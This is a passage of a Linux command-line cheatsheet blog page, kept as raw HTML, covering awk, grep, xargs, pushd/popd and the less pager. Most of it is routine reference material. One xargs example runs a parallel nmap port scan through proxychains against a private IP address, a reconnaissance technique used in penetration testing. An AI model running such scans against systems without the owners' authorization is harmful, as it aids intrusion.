&lt;span class=&quot;token output&quot;&gt;8&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;div class=&quot;toolbar&quot;&gt;&lt;div class=&quot;toolbar-item&quot;&gt;&lt;button class=&quot;copy-to-clipboard-button&quot; type=&quot;button&quot; title=&quot;Copy Code&quot;&gt;&lt;/button&gt;&lt;/div&gt;&lt;/div&gt;&lt;/div&gt;&lt;h4 id=&quot;awk-scripting&quot; tabindex=&quot;-1&quot;&gt;&lt;a class=&quot;md-anchor&quot; href=&quot;https://trebledj.me/posts/linux-cheatsheet/#awk-scripting&quot; aria-hidden=&quot;true&quot;&gt;&lt;/a&gt; awk - Scripting&lt;/h4&gt;
&lt;div class=&quot;code-toolbar&quot;&gt;&lt;pre data-lang-off=&quot;&quot; class=&quot;command-line language-sh&quot; data-prompt=&quot;$&quot; data-filter-output=&quot;# &quot; tabindex=&quot;0&quot;&gt;&lt;code class=&quot;language-sh&quot;&gt;&lt;span class=&quot;command-line-prompt&quot;&gt;&lt;span data-prompt=&quot;$&quot;&gt;&lt;/span&gt;&lt;span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span class=&quot;token command&quot;&gt;&lt;span class=&quot;token function&quot;&gt;awk&lt;/span&gt; &lt;span class=&quot;token string&quot;&gt;&#39;{print &quot;booyah&quot;,$1,&quot;yahoo&quot;}&#39;&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;token output&quot;&gt;awk also has variables, if, for, while, arrays, etc.&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;div class=&quot;toolbar&quot;&gt;&lt;div class=&quot;toolbar-item&quot;&gt;&lt;button class=&quot;copy-to-clipboard-button&quot; type=&quot;button&quot; title=&quot;Copy Code&quot;&gt;&lt;/button&gt;&lt;/div&gt;&lt;/div&gt;&lt;/div&gt;&lt;p&gt;Script variables. (Useful for configuring row/column delimiters.)&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;RS: Record Separator (rows)&lt;/li&gt;
&lt;li&gt;FS: Field Separator (columns)&lt;/li&gt;
&lt;li&gt;ORS: Output Row Separator&lt;/li&gt;
&lt;li&gt;OFS: Output Field Separator&lt;/li&gt;
&lt;li&gt;NR: Record Number (current row, 1-indexed) [read-only]&lt;/li&gt;
&lt;li&gt;NF: Number of Fields [read-only]&lt;/li&gt;
&lt;/ul&gt;
&lt;h3 id=&quot;grep&quot; tabindex=&quot;-1&quot;&gt;&lt;a class=&quot;md-anchor&quot; href=&quot;https://trebledj.me/posts/linux-cheatsheet/#grep&quot; aria-hidden=&quot;true&quot;&gt;&lt;/a&gt; grep&lt;/h3&gt;
&lt;p&gt;&lt;strong&gt;Useful Flags&lt;/strong&gt;&lt;/p&gt;
&lt;div class=&quot;code-toolbar&quot;&gt;&lt;pre data-lang-off=&quot;&quot; class=&quot;language-sh&quot; tabindex=&quot;0&quot;&gt;&lt;code class=&quot;language-sh&quot;&gt;&lt;span class=&quot;token parameter variable&quot;&gt;-i&lt;/span&gt; &lt;span class=&quot;token comment&quot;&gt;# case-insensitive&lt;/span&gt;
&lt;span class=&quot;token parameter variable&quot;&gt;-E&lt;/span&gt; &lt;span class=&quot;token comment&quot;&gt;# regex&lt;/span&gt;
&lt;span class=&quot;token parameter variable&quot;&gt;-v&lt;/span&gt; &lt;span class=&quot;token comment&quot;&gt;# non-match (inVert)&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;div class=&quot;toolbar&quot;&gt;&lt;div class=&quot;toolbar-item&quot;&gt;&lt;button class=&quot;copy-to-clipboard-button&quot; type=&quot;button&quot; title=&quot;Copy Code&quot;&gt;&lt;/button&gt;&lt;/div&gt;&lt;/div&gt;&lt;/div&gt;&lt;h3 id=&quot;grep-find-string-in-files&quot; tabindex=&quot;-1&quot;&gt;&lt;a class=&quot;md-anchor&quot; href=&quot;https://trebledj.me/posts/linux-cheatsheet/#grep-find-string-in-files&quot; aria-hidden=&quot;true&quot;&gt;&lt;/a&gt; grep – Find String in Files&lt;/h3&gt;
&lt;div class=&quot;code-toolbar&quot;&gt;&lt;pre data-lang-off=&quot;&quot; class=&quot;command-line language-sh&quot; data-prompt=&quot;$&quot; data-filter-output=&quot;# &quot; tabindex=&quot;0&quot;&gt;&lt;code class=&quot;language-sh&quot;&gt;&lt;span class=&quot;command-line-prompt&quot;&gt;&lt;span data-prompt=&quot;$&quot;&gt;&lt;/span&gt;&lt;/span&gt;&lt;span class=&quot;token command&quot;&gt;&lt;span class=&quot;token function&quot;&gt;grep&lt;/span&gt; &lt;span class=&quot;token parameter variable&quot;&gt;-rnw&lt;/span&gt; /path/to/somewhere/ &lt;span class=&quot;token parameter variable&quot;&gt;-e&lt;/span&gt; &lt;span class=&quot;token string&quot;&gt;&#39;pattern&#39;&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;div class=&quot;toolbar&quot;&gt;&lt;div class=&quot;toolbar-item&quot;&gt;&lt;button class=&quot;copy-to-clipboard-button&quot; type=&quot;button&quot; title=&quot;Copy Code&quot;&gt;&lt;/button&gt;&lt;/div&gt;&lt;/div&gt;&lt;/div&gt;&lt;ul&gt;
&lt;li&gt;&lt;code&gt;-r&lt;/code&gt; or &lt;code&gt;-R&lt;/code&gt; is recursive,&lt;/li&gt;
&lt;li&gt;&lt;code&gt;-n&lt;/code&gt; is line number, and&lt;/li&gt;
&lt;li&gt;&lt;code&gt;-w&lt;/code&gt; stands for match the whole word.&lt;/li&gt;
&lt;li&gt;&lt;code&gt;-l&lt;/code&gt; can be added to just give the file name of matching files.&lt;/li&gt;
&lt;li&gt;&lt;code&gt;-e&lt;/code&gt; is the pattern used during the search&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;Ref: https://stackoverflow.com/a/16957078/10239789&lt;/p&gt;
&lt;p&gt;Other useful flags:&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;&lt;code&gt;-A N&lt;/code&gt;/&lt;code&gt;-B N&lt;/code&gt;/&lt;code&gt;-C N&lt;/code&gt;: context; prints &lt;code&gt;N&lt;/code&gt; lines of context after/before/around the matched line&lt;/li&gt;
&lt;/ul&gt;
&lt;h3 id=&quot;xargs&quot; tabindex=&quot;-1&quot;&gt;&lt;a class=&quot;md-anchor&quot; href=&quot;https://trebledj.me/posts/linux-cheatsheet/#xargs&quot; aria-hidden=&quot;true&quot;&gt;&lt;/a&gt; xargs&lt;/h3&gt;
&lt;p&gt;xargs is a versatile command-line utility that allows efficient execution of commands, making it a powerful tool for automation and batch processing.&lt;/p&gt;
&lt;p&gt;Interesting options:&lt;/p&gt;
&lt;div class=&quot;code-toolbar&quot;&gt;&lt;pre data-lang-off=&quot;&quot; class=&quot;command-line language-sh&quot; data-prompt=&quot;$&quot; data-filter-output=&quot;# &quot; tabindex=&quot;0&quot;&gt;&lt;code class=&quot;language-sh&quot;&gt;&lt;span class=&quot;command-line-prompt&quot;&gt;&lt;span data-prompt=&quot;$&quot;&gt;&lt;/span&gt;&lt;span data-prompt=&quot;$&quot;&gt;&lt;/span&gt;&lt;span data-prompt=&quot;$&quot;&gt;&lt;/span&gt;&lt;/span&gt;&lt;span class=&quot;token command&quot;&gt;&lt;span class=&quot;token parameter variable&quot;&gt;-P&lt;/span&gt; &lt;span class=&quot;token operator&quot;&gt;&amp;lt;&lt;/span&gt;n&lt;span class=&quot;token operator&quot;&gt;&amp;gt;&lt;/span&gt; &lt;span class=&quot;token comment&quot;&gt;# max procs&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;token command&quot;&gt;&lt;span class=&quot;token parameter variable&quot;&gt;-n&lt;/span&gt; &lt;span class=&quot;token operator&quot;&gt;&amp;lt;&lt;/span&gt;n&lt;span class=&quot;token operator&quot;&gt;&amp;gt;&lt;/span&gt; &lt;span class=&quot;token comment&quot;&gt;# num args&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;token command&quot;&gt;&lt;span class=&quot;token parameter variable&quot;&gt;-I&lt;/span&gt; &lt;span class=&quot;token punctuation&quot;&gt;{&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;}&lt;/span&gt;  &lt;span class=&quot;token comment&quot;&gt;# pattern to insert into command&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;div class=&quot;toolbar&quot;&gt;&lt;div class=&quot;toolbar-item&quot;&gt;&lt;button class=&quot;copy-to-clipboard-button&quot; type=&quot;button&quot; title=&quot;Copy Code&quot;&gt;&lt;/button&gt;&lt;/div&gt;&lt;/div&gt;&lt;/div&gt;&lt;div class=&quot;alert alert-success d-flex align-items-start&quot;&gt; &lt;i class=&quot;fas fa-lightbulb ms-1 me-3 mt-1 fs-4&quot; role=&quot;img&quot;&gt;&lt;/i&gt; &lt;div class=&quot;alert-content flex-fill mt-0&quot;&gt;
&lt;p&gt;&lt;strong&gt;Examples&lt;/strong&gt;&lt;/p&gt;
&lt;p&gt;Combine multiple lines into 1 line.&lt;/p&gt;
&lt;div class=&quot;code-toolbar&quot;&gt;&lt;pre data-lang-off=&quot;&quot; class=&quot;command-line language-sh&quot; data-prompt=&quot;$&quot; data-filter-output=&quot;# &quot; tabindex=&quot;0&quot;&gt;&lt;code class=&quot;language-sh&quot;&gt;&lt;span class=&quot;command-line-prompt&quot;&gt;&lt;span data-prompt=&quot;$&quot;&gt;&lt;/span&gt;&lt;span&gt;&lt;/span&gt;&lt;span&gt;&lt;/span&gt;&lt;span&gt;&lt;/span&gt;&lt;span data-prompt=&quot;$&quot;&gt;&lt;/span&gt;&lt;span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span class=&quot;token command&quot;&gt;&lt;span class=&quot;token builtin class-name&quot;&gt;echo&lt;/span&gt; &lt;span class=&quot;token string&quot;&gt;$&#39;1&lt;span class=&quot;token entity&quot; title=&quot;&#92;n&quot;&gt;&#92;n&lt;/span&gt;2&lt;span class=&quot;token entity&quot; title=&quot;&#92;n&quot;&gt;&#92;n&lt;/span&gt;3&#39;&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;token output&quot;&gt;1&lt;/span&gt;
&lt;span class=&quot;token output&quot;&gt;2&lt;/span&gt;
&lt;span class=&quot;token output&quot;&gt;3&lt;/span&gt;
&lt;span class=&quot;token command&quot;&gt;&lt;span class=&quot;token builtin class-name&quot;&gt;echo&lt;/span&gt; &lt;span class=&quot;token string&quot;&gt;$&#39;1&lt;span class=&quot;token entity&quot; title=&quot;&#92;n&quot;&gt;&#92;n&lt;/span&gt;2&lt;span class=&quot;token entity&quot; title=&quot;&#92;n&quot;&gt;&#92;n&lt;/span&gt;3&#39;&lt;/span&gt; &lt;span class=&quot;token operator&quot;&gt;|&lt;/span&gt; &lt;span class=&quot;token function&quot;&gt;xargs&lt;/span&gt; &lt;/span&gt;
&lt;span class=&quot;token output&quot;&gt;1 2 3&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;div class=&quot;toolbar&quot;&gt;&lt;div class=&quot;toolbar-item&quot;&gt;&lt;button class=&quot;copy-to-clipboard-button&quot; type=&quot;button&quot; title=&quot;Copy Code&quot;&gt;&lt;/button&gt;&lt;/div&gt;&lt;/div&gt;&lt;/div&gt;&lt;p&gt;Multi-Processing: Execute &lt;code&gt;./do-something-to-file.sh &amp;lt;file&amp;gt;&lt;/code&gt; on multiple files, with at most 4 processes.&lt;/p&gt;
&lt;div class=&quot;code-toolbar&quot;&gt;&lt;pre data-lang-off=&quot;&quot; class=&quot;command-line language-sh&quot; data-prompt=&quot;$&quot; data-filter-output=&quot;# &quot; tabindex=&quot;0&quot;&gt;&lt;code class=&quot;language-sh&quot;&gt;&lt;span class=&quot;command-line-prompt&quot;&gt;&lt;span data-prompt=&quot;$&quot;&gt;&lt;/span&gt;&lt;/span&gt;&lt;span class=&quot;token command&quot;&gt;&lt;span class=&quot;token function&quot;&gt;cat&lt;/span&gt; files.txt &lt;span class=&quot;token operator&quot;&gt;|&lt;/span&gt; &lt;span class=&quot;token function&quot;&gt;xargs&lt;/span&gt; &lt;span class=&quot;token parameter variable&quot;&gt;-P&lt;/span&gt; &lt;span class=&quot;token number&quot;&gt;4&lt;/span&gt; &lt;span class=&quot;token parameter variable&quot;&gt;-n1&lt;/span&gt; ./do-something-to-file.sh&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;div class=&quot;toolbar&quot;&gt;&lt;div class=&quot;toolbar-item&quot;&gt;&lt;button class=&quot;copy-to-clipboard-button&quot; type=&quot;button&quot; title=&quot;Copy Code&quot;&gt;&lt;/button&gt;&lt;/div&gt;&lt;/div&gt;&lt;/div&gt;&lt;p&gt;Multi-Processing: Port Scan with Ports 1-1000 through &lt;code&gt;proxychains&lt;/code&gt;.&lt;/p&gt;
&lt;div class=&quot;code-toolbar&quot;&gt;&lt;pre data-lang-off=&quot;&quot; class=&quot;command-line language-sh&quot; data-prompt=&quot;$&quot; data-filter-output=&quot;# &quot; tabindex=&quot;0&quot;&gt;&lt;code class=&quot;language-sh&quot;&gt;&lt;span class=&quot;command-line-prompt&quot;&gt;&lt;span data-prompt=&quot;$&quot;&gt;&lt;/span&gt;&lt;/span&gt;&lt;span class=&quot;token command&quot;&gt;&lt;span class=&quot;token function&quot;&gt;seq&lt;/span&gt; &lt;span class=&quot;token number&quot;&gt;1&lt;/span&gt; &lt;span class=&quot;token number&quot;&gt;1000&lt;/span&gt; &lt;span class=&quot;token operator&quot;&gt;|&lt;/span&gt; &lt;span class=&quot;token function&quot;&gt;xargs&lt;/span&gt; &lt;span class=&quot;token parameter variable&quot;&gt;-P&lt;/span&gt; &lt;span class=&quot;token number&quot;&gt;50&lt;/span&gt; -I&lt;span class=&quot;token punctuation&quot;&gt;{&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;}&lt;/span&gt; proxychains4 &lt;span class=&quot;token parameter variable&quot;&gt;-q&lt;/span&gt; nmap &lt;span class=&quot;token parameter variable&quot;&gt;-p&lt;/span&gt; &lt;span class=&quot;token punctuation&quot;&gt;{&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;}&lt;/span&gt; &lt;span class=&quot;token parameter variable&quot;&gt;-sT&lt;/span&gt; &lt;span class=&quot;token parameter variable&quot;&gt;-Pn&lt;/span&gt; &lt;span class=&quot;token parameter variable&quot;&gt;--open&lt;/span&gt; &lt;span class=&quot;token parameter variable&quot;&gt;-n&lt;/span&gt; &lt;span class=&quot;token parameter variable&quot;&gt;-T4&lt;/span&gt; &lt;span class=&quot;token parameter variable&quot;&gt;--oN&lt;/span&gt; nmap.txt --append-output &lt;span class=&quot;token number&quot;&gt;192.168&lt;/span&gt;.101.10&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;div class=&quot;toolbar&quot;&gt;&lt;div class=&quot;toolbar-item&quot;&gt;&lt;button class=&quot;copy-to-clipboard-button&quot; type=&quot;button&quot; title=&quot;Copy Code&quot;&gt;&lt;/button&gt;&lt;/div&gt;&lt;/div&gt;&lt;/div&gt;&lt;/div&gt;&lt;/div&gt;
&lt;h3 id=&quot;other-utilities&quot; tabindex=&quot;-1&quot;&gt;&lt;a class=&quot;md-anchor&quot; href=&quot;https://trebledj.me/posts/linux-cheatsheet/#other-utilities&quot; aria-hidden=&quot;true&quot;&gt;&lt;/a&gt; Other Utilities&lt;/h3&gt;
&lt;div class=&quot;code-toolbar&quot;&gt;&lt;pre data-lang-off=&quot;&quot; class=&quot;command-line language-sh&quot; data-prompt=&quot;$&quot; data-filter-output=&quot;# &quot; tabindex=&quot;0&quot;&gt;&lt;code class=&quot;language-sh&quot;&gt;&lt;span class=&quot;command-line-prompt&quot;&gt;&lt;span data-prompt=&quot;$&quot;&gt;&lt;/span&gt;&lt;span&gt;&lt;/span&gt;&lt;span data-prompt=&quot;$&quot;&gt;&lt;/span&gt;&lt;span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span class=&quot;token command&quot;&gt;&lt;span class=&quot;token function&quot;&gt;basename&lt;/span&gt; ~/.bashrc&lt;/span&gt;
&lt;span class=&quot;token output&quot;&gt;.bashrc&lt;/span&gt;
&lt;span class=&quot;token command&quot;&gt;&lt;span class=&quot;token function&quot;&gt;dirname&lt;/span&gt; ~/.bashrc&lt;/span&gt;
&lt;span class=&quot;token output&quot;&gt;/home/trebledj&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;div class=&quot;toolbar&quot;&gt;&lt;div class=&quot;toolbar-item&quot;&gt;&lt;button class=&quot;copy-to-clipboard-button&quot; type=&quot;button&quot; title=&quot;Copy Code&quot;&gt;&lt;/button&gt;&lt;/div&gt;&lt;/div&gt;&lt;/div&gt;&lt;h4 id=&quot;directory-stack&quot; tabindex=&quot;-1&quot;&gt;&lt;a class=&quot;md-anchor&quot; href=&quot;https://trebledj.me/posts/linux-cheatsheet/#directory-stack&quot; aria-hidden=&quot;true&quot;&gt;&lt;/a&gt; Directory Stack&lt;/h4&gt;
&lt;div class=&quot;code-toolbar&quot;&gt;&lt;pre data-lang-off=&quot;&quot; class=&quot;command-line language-sh&quot; data-prompt=&quot;$&quot; data-filter-output=&quot;# &quot; tabindex=&quot;0&quot;&gt;&lt;code class=&quot;language-sh&quot;&gt;&lt;span class=&quot;command-line-prompt&quot;&gt;&lt;span data-prompt=&quot;$&quot;&gt;&lt;/span&gt;&lt;span data-prompt=&quot;$&quot;&gt;&lt;/span&gt;&lt;span data-prompt=&quot;$&quot;&gt;&lt;/span&gt;&lt;/span&gt;&lt;span class=&quot;token command&quot;&gt;&lt;span class=&quot;token function&quot;&gt;pushd&lt;/span&gt; &lt;span class=&quot;token comment&quot;&gt;# Push current directory, for easier returning.&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;token command&quot;&gt;&lt;span class=&quot;token function&quot;&gt;popd&lt;/span&gt;  &lt;span class=&quot;token comment&quot;&gt;# Return to directory on top of stack.&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;token command&quot;&gt;&lt;span class=&quot;token function&quot;&gt;dirs&lt;/span&gt;  &lt;span class=&quot;token comment&quot;&gt;# List history of dirs.&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;div class=&quot;toolbar&quot;&gt;&lt;div class=&quot;toolbar-item&quot;&gt;&lt;button class=&quot;copy-to-clipboard-button&quot; type=&quot;button&quot; title=&quot;Copy Code&quot;&gt;&lt;/button&gt;&lt;/div&gt;&lt;/div&gt;&lt;/div&gt;&lt;div class=&quot;alert alert-success d-flex align-items-start&quot;&gt; &lt;i class=&quot;fas fa-lightbulb ms-1 me-3 mt-1 fs-4&quot; role=&quot;img&quot;&gt;&lt;/i&gt; &lt;div class=&quot;alert-content flex-fill mt-0&quot;&gt;
&lt;p&gt;&lt;strong&gt;&lt;code&gt;pushd&lt;/code&gt;/&lt;code&gt;popd&lt;/code&gt; Example&lt;/strong&gt;&lt;/p&gt;
&lt;div class=&quot;code-toolbar&quot;&gt;&lt;pre data-lang-off=&quot;&quot; class=&quot;command-line language-sh&quot; data-prompt=&quot;$&quot; data-filter-output=&quot;# &quot; tabindex=&quot;0&quot;&gt;&lt;code class=&quot;language-sh&quot;&gt;&lt;span class=&quot;command-line-prompt&quot;&gt;&lt;span data-prompt=&quot;$&quot;&gt;&lt;/span&gt;&lt;span data-prompt=&quot;$&quot;&gt;&lt;/span&gt;&lt;span&gt;&lt;/span&gt;&lt;span data-prompt=&quot;$&quot;&gt;&lt;/span&gt;&lt;span data-prompt=&quot;$&quot;&gt;&lt;/span&gt;&lt;span data-prompt=&quot;$&quot;&gt;&lt;/span&gt;&lt;/span&gt;&lt;span class=&quot;token command&quot;&gt;&lt;span class=&quot;token builtin class-name&quot;&gt;cd&lt;/span&gt; ~/a/b/c&lt;/span&gt;
&lt;span class=&quot;token command&quot;&gt;&lt;span class=&quot;token function&quot;&gt;pushd&lt;/span&gt; deep/nested/directory&lt;/span&gt;
&lt;span class=&quot;token output&quot;&gt;Jump to `deep/nested/directory`, push `~/a/b/c` into the stack.&lt;/span&gt;
&lt;span class=&quot;token command&quot;&gt;&lt;span class=&quot;token builtin class-name&quot;&gt;cd&lt;/span&gt; &lt;span class=&quot;token punctuation&quot;&gt;..&lt;/span&gt;/&lt;span class=&quot;token punctuation&quot;&gt;..&lt;/span&gt;/jump/around/some/more&lt;/span&gt;
&lt;span class=&quot;token command&quot;&gt;&lt;span class=&quot;token builtin class-name&quot;&gt;cd&lt;/span&gt; &lt;span class=&quot;token punctuation&quot;&gt;..&lt;/span&gt;/&lt;span class=&quot;token punctuation&quot;&gt;..&lt;/span&gt;/and/a/little/more&lt;/span&gt;
&lt;span class=&quot;token command&quot;&gt;&lt;span class=&quot;token function&quot;&gt;popd&lt;/span&gt;  &lt;span class=&quot;token comment&quot;&gt;# Return to `~/a/b/c`.&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;div class=&quot;toolbar&quot;&gt;&lt;div class=&quot;toolbar-item&quot;&gt;&lt;button class=&quot;copy-to-clipboard-button&quot; type=&quot;button&quot; title=&quot;Copy Code&quot;&gt;&lt;/button&gt;&lt;/div&gt;&lt;/div&gt;&lt;/div&gt;&lt;/div&gt;&lt;/div&gt;
&lt;h2 id=&quot;less&quot; tabindex=&quot;-1&quot;&gt;&lt;a class=&quot;md-anchor&quot; href=&quot;https://trebledj.me/posts/linux-cheatsheet/#less&quot; aria-hidden=&quot;true&quot;&gt;&lt;/a&gt; less&lt;/h2&gt;
&lt;p&gt;&lt;code&gt;less&lt;/code&gt; is a powerful text viewer (read-only), with capabilities to navigate, search, and filter lines in a file or long text.&lt;/p&gt;
&lt;p&gt;Get some help. See all commands:&lt;/p&gt;
&lt;div class=&quot;code-toolbar&quot;&gt;&lt;pre data-lang-off=&quot;&quot; class=&quot;language-sh&quot; tabindex=&quot;0&quot;&gt;&lt;code class=&quot;language-sh&quot;&gt;h&lt;/code&gt;&lt;/pre&gt;&lt;div class=&quot;toolbar&quot;&gt;&lt;div class=&quot;toolbar-item&quot;&gt;&lt;button class=&quot;copy-to-clipboard-button&quot; type=&quot;button&quot; title=&quot;Copy Code&quot;&gt;&lt;/button&gt;&lt;/div&gt;&lt;/div&gt;&lt;/div&gt;&lt;h4 id=&quot;less-nice-options&quot; tabindex=&quot;-1&quot;&gt;&lt;a class=&quot;md-anchor&quot; href=&quot;https://trebledj.me/posts/linux-cheatsheet/#less-nice-options&quot; aria-hidden=&quot;true&quot;&gt;&lt;/a&gt; less - Nice Options&lt;/h4&gt;
&lt;div class=&quot;code-toolbar&quot;&gt;&lt;pre data-lang-off=&quot;&quot; class=&quot;command-line language-sh&quot; data-prompt=&quot;$&quot; data-filter-output=&quot;# &quot; tabindex=&quot;0&quot;&gt;&lt;code class=&quot;language-sh&quot;&gt;&lt;span class=&quot;command-line-prompt&quot;&gt;&lt;span data-prompt=&quot;$&quot;&gt;&lt;/span&gt;&lt;span&gt;&lt;/span&gt;&lt;span&gt;&lt;/span&gt;&lt;span data-prompt=&quot;$&quot;&gt;&lt;/span&gt;&lt;span&gt;&lt;/span&gt;&lt;span&gt;&lt;/span&gt;&lt;span data-prompt=&quot;$&quot;&gt;&lt;/span&gt;&lt;span&gt;&lt;/span&gt;&lt;span&gt;&lt;/span&gt;&lt;span data-prompt=&quot;$&quot;&gt;&lt;/span&gt;&lt;/span&gt;&lt;span class=&quot;token command&quot;&gt;&lt;span class=&quot;token function&quot;&gt;less&lt;/span&gt; file.txt&lt;/span&gt;
&lt;span class=&quot;token output&quot;&gt;&lt;/span&gt;
&lt;span class=&quot;token output&quot;&gt;Renders ANSI colors.&lt;/span&gt;
&lt;span class=&quot;token command&quot;&gt;&lt;span class=&quot;token function&quot;&gt;less&lt;/span&gt; &lt;span class=&quot;token parameter variable&quot;&gt;-R&lt;/span&gt; file.txt&lt;/span&gt;
&lt;span class=&quot;token output&quot;&gt;&lt;/span&gt;
&lt;span class=&quot;token output&quot;&gt;Pager search becomes case insensitive.&lt;/span&gt;
&lt;span class=&quot;token command&quot;&gt;&lt;span class=&quot;token function&quot;&gt;less&lt;/span&gt; &lt;span class=&quot;token parameter variable&quot;&gt;-I&lt;/span&gt; file.txt&lt;/span&gt;
&lt;span class=&quot;token output&quot;&gt;&lt;/span&gt;
&lt;span class=&quot;token output&quot;&gt;Line numbers.&lt;/span&gt;
&lt;span class=&quot;token command&quot;&gt;&lt;span class=&quot;token function&quot;&gt;less&lt;/span&gt; &lt;span class=&quot;token parameter variable&quot;&gt;-N&lt;/span&gt; file.txt&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;div class=&quot;toolbar&quot;&gt;&lt;div class=&quot;toolbar-item&quot;&gt;&lt;button class=&quot;copy-to-clipboard-button&quot; type=&quot;button&quot; title=&quot;Copy Code&quot;&gt;&lt;/button&gt;&lt;/div&gt;&lt;/div&gt;&lt;/div&gt;&lt;p&gt;You can turn on/off these options &lt;em&gt;inside &lt;code&gt;less&lt;/code&gt;&lt;/em&gt; by typing &lt;code&gt;-I&amp;lt;Enter&amp;gt;&lt;/code&gt;, &lt;code&gt;-R&amp;lt;Enter&amp;gt;&lt;/code&gt;, or &lt;code&gt;-N&amp;lt;Enter&amp;gt;&lt;/code&gt;. This is useful if you forget to turn them on beforehand (e.g. after curling a web request).&lt;/p&gt;
&lt;h4 id=&quot;less-navigation&quot; tabindex=&quot;-1&quot;&gt;&lt;a class=&quot;md-anchor&quot; href=&quot;https://trebledj.me/posts/linux-cheatsheet/#less-navigation&quot; aria-hidden=&quot;true&quot;&gt;&lt;/a&gt; less - Navigation&lt;/h4&gt;
&lt;div class=&quot;code-toolbar&quot;&gt;&lt;pre data-lang-off=&quot;&quot; class=&quot;language-sh&quot; tabindex=&quot;0&quot;&gt;&lt;code class=&quot;language-sh&quot;&gt;j &lt;span class=&quot;token comment&quot;&gt;# Line down.&lt;/span&gt;
k &lt;span class=&quot;token comment&quot;&gt;# Line up.&lt;/span&gt;
f &lt;span class=&quot;token comment&quot;&gt;# Page down.&lt;/span&gt;
b &lt;span class=&quot;token comment&quot;&gt;# Page up.&lt;/span&gt;
d &lt;span class=&quot;token comment&quot;&gt;# Half-page down.&lt;/span&gt;
u &lt;span class=&quot;token comment&quot;&gt;# Half-page up.&lt;/span&gt;

g &lt;span class=&quot;token comment&quot;&gt;# Go to start of file.&lt;/span&gt;
G &lt;span class=&quot;token comment&quot;&gt;# Go to end of file.&lt;/span&gt;

&lt;span class=&quot;token operator&quot;&gt;&amp;lt;&lt;/span&gt;n&lt;span class=&quot;token operator&quot;&gt;&amp;gt;&lt;/span&gt; g &lt;span class=&quot;token comment&quot;&gt;# Go to nth line.&lt;/span&gt;

&lt;span class=&quot;token comment&quot;&gt;# Go to the n% line of the file.&lt;/span&gt;
&lt;span class=&quot;token operator&quot;&gt;&amp;lt;&lt;/span&gt;n&lt;span class=&quot;token operator&quot;&gt;&amp;gt;&lt;/span&gt; p
20p 40p 50p 80p

&lt;span class=&quot;token comment&quot;&gt;# What&#39;s the current line?&lt;/span&gt;
^g&lt;/code&gt;&lt;/pre&gt;&lt;div class=&quot;toolbar&quot;&gt;&lt;div class=&quot;toolbar-item&quot;&gt;&lt;button class=&quot;copy-to-clipboard-button&quot; type=&quot;button&quot; title=&quot;Copy Code&quot;&gt;&lt;/button&gt;&lt;/div&gt;&lt;/div&gt;&lt;/div&gt;&lt;h4 id=&quot;less-search-filtering&quot; tabindex=&quot;-1&quot;&gt;&lt;a class=&quot;md-anchor&quot; href=&quot;https://trebledj.me/posts/linux-cheatsheet/#less-search-filtering&quot; aria-hidden=&quot;true&quot;&gt;&lt;/a&gt; less - Search / Filtering&lt;/h4&gt;
&lt;div class=&quot;code-toolbar&quot;&gt;&lt;pre data-lang-off=&quot;&quot; class=&quot;language-sh&quot; tabindex=&quot;0&quot;&gt;&lt;code class=&quot;language-sh&quot;&gt;&lt;span class=&quot;token comment&quot;&gt;# Search (regex enabled).&lt;/span&gt;
/ &lt;span class=&quot;token operator&quot;&gt;&amp;lt;&lt;/span&gt;pattern&lt;span class=&quot;token operator&quot;&gt;&amp;gt;&lt;/span&gt;
&lt;span class=&quot;token comment&quot;&gt;# For case-insensitive search, use `less -I`.&lt;/span&gt;

&lt;span class=&quot;token comment&quot;&gt;# Navigate search results: next/prev result.&lt;/span&gt;
nN

&lt;span class=&quot;token comment&quot;&gt;# Filter lines by search.&lt;/span&gt;
&lt;span class=&quot;token operator&quot;&gt;&amp;amp;&lt;/span&gt; &lt;span class=&quot;token operator&quot;&gt;&amp;lt;&lt;/span&gt;pattern&lt;span class=&quot;token operator&quot;&gt;&amp;gt;&lt;/span&gt;
&lt;span class=&quot;token comment&quot;&gt;# Filter NON-MATCHING lines&lt;/span&gt;
&lt;span class=&quot;token operator&quot;&gt;&amp;amp;&lt;/span&gt; &lt;span class=&quot;token operator&quot;&gt;!&lt;/span&gt; &lt;span class=&quot;token operator&quot;&gt;&amp;lt;&lt;/span&gt;pattern&lt;span class=&quot;token operator&quot;&gt;&amp;gt;&lt;/span&gt;
&lt;span class=&quot;token comment&quot;&gt;# Clear filter.&lt;/span&gt;
